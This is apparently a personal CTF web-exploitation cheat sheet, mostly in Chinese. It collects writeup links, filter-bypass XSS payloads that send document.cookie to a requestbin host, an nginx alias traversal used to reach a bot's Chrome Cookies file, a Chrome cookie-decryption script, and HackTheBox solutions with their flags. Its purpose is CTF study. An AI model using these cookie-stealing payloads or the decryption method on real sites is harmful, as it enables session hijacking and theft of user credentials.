# Web Writeups

# 学习他人的 writeup

https://mqcybersec.org/writeups/

https://0x90r00t.com/2024/09/30/defcamp-quals-2024-web-production-bay-write-up/

https://github.com/hyungin0505/CTF-WriteUp/tree/main/2025

https://blog.csdn.net/CleverLee0/article/details/146080892?spm=1001.2014.3001.5502

https://blog.csdn.net/CleverLee0?type=blog

https://github.com/Haalloobim/CTF-Writeup-Notes/tree/main/ARA CTF 2023/Web Exploitation/Dewaweb

https://github.com/rerrorctf/writeups/blob/main/2024_11_10_BlueHens24/web/firefun_3/Writeup.md

# Information Collect

# Hidden Link(View Source)

# BurpSuite 抓包

# 控制台抓包

# Brute Force

# Hash Cracking

# JWT

# XSS

request bin: https://requestbin.whapi.cloud/

# 漏洞

s
noMatchMessage.innerHTML = `No results for "${searchInput}".`;

Nginx: add_header Content-Type text/html always; 使得

# javascript

  • trim() 删除首尾空格
  • searchInput.split(/[^\p{L}]+/u) 分隔 unicode 单词

# 绕过

# input
l
<input autofocus onfocusin=confirm()>
# substr
l
<input onfocusin="eval('fetcha'.substr(0,5)+'(\''+'httpa'.substr(0,4)+'://exam'+'.pla'.substr(0,2)+'eex.'+'coma'.substr(0,3)+'/?yeet='+btoa(document.cookie)+'\')')" autofocus>
# srcdoc

srcdoc 支持 html endocing, 所以可以绕过

l
<iframe srcdoc="fetch('http://localhost:80/').finally(() => document.location="http://requestbin.whapi.cloud/1b7orwl1/?flag="+btoa(document.cookie));"></iframe>

最后写成链接的时候要 url encoding,否则报错

# Code Injection

# Python Code Execution

# PHP 文件上传

一句话木马:https://github.com/bayufedra/Tiny-PHP-Webshell

# SSTI

https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti

# Side Channel Brute Force

# Nginx Shenanigans

nginx config 的时候, alias 出现错误

t
location /logs {
    autoindex off;
    alias /tmp/bot_folder/logs/;
    try_files $uri $uri/ =404;
}

然后 http://localhost/logs../browser_cache/Default/Cookies 就是访问

/tmp/bot_folder/logs/browser_cache/Default/Cookies 就可以绕过了。

然后

l
sqlite3 Cookies
select hex(encrypted_value) from cookies;

然后用下面的解密:

n
#! /usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
# Function to get rid of padding
def clean(x): 
    return x[:-x[-1]].decode('utf8')
encrypted_value = bytes.fromhex("763130AB3A186C367663FCBA25263072C8B5BFAF15135690D33686A9C6A4D0EA0403DE") 
encrypted_value = encrypted_value[3:]
# Default values used by both Chrome and Chromium in OSX and Linux
salt = b'saltysalt'
iv = b' ' * 16
length = 16
# On Mac, replace MY_PASS with your password from Keychain
# On Linux, replace MY_PASS with 'peanuts'
my_pass = "peanuts"
my_pass = my_pass.encode('utf8')
# 1003 on Mac, 1 on Linux
iterations = 1
key = PBKDF2(my_pass, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)
decrypted = cipher.decrypt(encrypted_value)
print(clean(decrypted))

# HARD

# Race Condition

# Chrome DevTools Protocol

CDP 是 Chrome 提供的调试协议,它使用 WebSocket 来通信,可以远程控制页面。这个协议的端口路径信息储存在 DevToolsActivePort 文件中。得到这个文件的内容后,可以

使用 CDP 的 Target.createTarget 来新建一个页面,比如:打开 file:///root/flag2.txt

Target.attachToTarget 附着到这个页面上

然后用 Runtime.evaluate 执行 JavaScript 来读取页面内容

# IDOR

# HTB Armaxis

markdown, idor

这个网站的 reset password 会把 token 发送到 email 里面,但是这个 token 可以重置任意的 email。我们从 database.js 里面得知管理员的账户是 admin@armaxis.htb , 于是我们用 test@email.htb 申请一个账户并且拿到重置密码的 token,然后用 hackbar 发送一个 reset-password 的请求,可以在 index.js 里面看到这个,它会读取 post 的三个参数并且重置密码。这样我们重置了管理员账户的密码登录上去。

第二步是,disbute weapon 里面会有个 markdown,这个 markdon 可以读取本地的文件。因为 markdown.js 里面的 parse 函数,会先把 filecontent 下载下来,然后用 base64 编码,于是我们构造 payload 是

d
![img](file:///flag.txt)

这样的图片,然后显示源代码拿到 base64,解码得到 flag

l
HTB{m4rkd0wn_bugs_1n_th3_w1ld!}

# XSS

# HTB OnlyHacks

xss

这是一个很抽象的交友聊天网站,注册后登录进去。全点心心,然后会有人找你俩天。那个聊天框有 XSS 漏洞。再开发者工具里面查看 cookie 的 httponly 是没有勾选的。也就是说可以盗取对面的 cookie. 于是先新建一个 requestbin: https://requestbin.whapi.cloud/

然后发送

l
<script>document.location="http://requestbin.whapi.cloud/txg9l7tx/?flag="+document.cookie</script>

这样就把对面的 cookie 发送过来了。然后在浏览器里面修改成对面的 cookie,之后刷新页面。看到有个人发送了 flag 进来

l
HTB{d0nt_trust_str4ng3r5_bl1ndly}

# Knowledge

# Web Framework

# Express

Express 是基于 Node.js 的一种轻量级 Web 服务器框架,用来快速搭建网站或 API。

s
const express = require('express');
const app = express();
app.get('/', (req, res) => {
  res.send('Hello World');
});
app.listen(3000, () => {
  console.log('App listening on port 3000');
});

# Puppeteer

Puppeteer 是 Node.js 下的一个库,可以自动控制 Chrome 浏览器
相当于用代码远程开了个浏览器去访问网页,比如:

  • 自动填写表单并提交
  • 自动点击网页按钮
  • 自动截图
  • 自动访问用户提交的链接

在 CTF Web 中的应用: 出题人为了模拟管理员访问用户提交的恶意链接,常常用 Puppeteer 自动开启一个无头浏览器(headless browser),去打开选手提交的 URL。

例子:

s
const puppeteer = require('puppeteer');
(async () => {
  const browser = await puppeteer.launch();
  const page = await browser.newPage();
  await page.goto('http://example.com');
  await page.screenshot({ path: 'example.png' });
  await browser.close();
})();

# 启动参数

s
const browser = await puppeteer.launch({
    headless: 'new',
    args: ['--no-sandbox', '--disable-setuid-sandbox']
});
  • headless: CTF 场景:有时候页面会检测是不是无头浏览器(反爬虫、反 XSS payload),用 headless: 'new' 可以更逼真地模拟真实用户.
  • --no-sandbox : 禁用 Chrome 沙盒(sandbox)安全机制。为了让浏览器在某些服务器上能正常运行(比如容器、低权限环境)
  • --disable-setuid-sandbox 禁用 setuid 沙盒(Linux 特有的更严格沙盒), 为了兼容某些没有完整沙盒支持的服务器

# 功能

  • set cookie:

    s
    await page.setCookie({
        name: 'flag',
        value: FLAG,
        domain: new URL(DOMAIN).hostname,
    });

# Nginx

Nginx(读作 "Engine-X")是一个高性能的 Web 服务器反向代理服务器
最初是为了处理高并发、高负载的网站请求而开发的,现在已经非常流行,尤其在大中型网站中几乎必用。

x
events {
  worker_connections 1024;
}
http {
  server {
    listen 80;
        
    location / {
      proxy_pass https://dns.google;
      add_header Content-Type text/html always;
    }
    
    location /report {
      proxy_pass http://adminbot:3000;
    }
  }
}
  • worker connection: 每个 worker(工作进程)最多可以同时处理 1024 个连接。提高并法能力。

  • http: 这是 HTTP 服务的配置区块。里面可以配置多个 server {} ,每个 server {} 相当于一个虚拟主机

  • server: 这是一个具体的服务器配置。 listen 80; → 监听 80 端口(标准 HTTP 端口)。

  • location: 当用户访问根路径 / (比如 http://your-server.com/ )时,Nginx 会把请求 转发(代理)到 https://dns.google (Google 的公共 DNS over HTTPS 接口)。然后强制给响应加一个头部. always 表示无论响应结果是什么(成功、失败、4xx、5xx),都加上这个头 注意:这里本质是让 Nginx 作为一个反向代理,访问 dns.google ,然后把结果返回给用户。加上 Content-Type: text/html 是为了让浏览器按照网页方式解释内容(哪怕原本是 JSON)。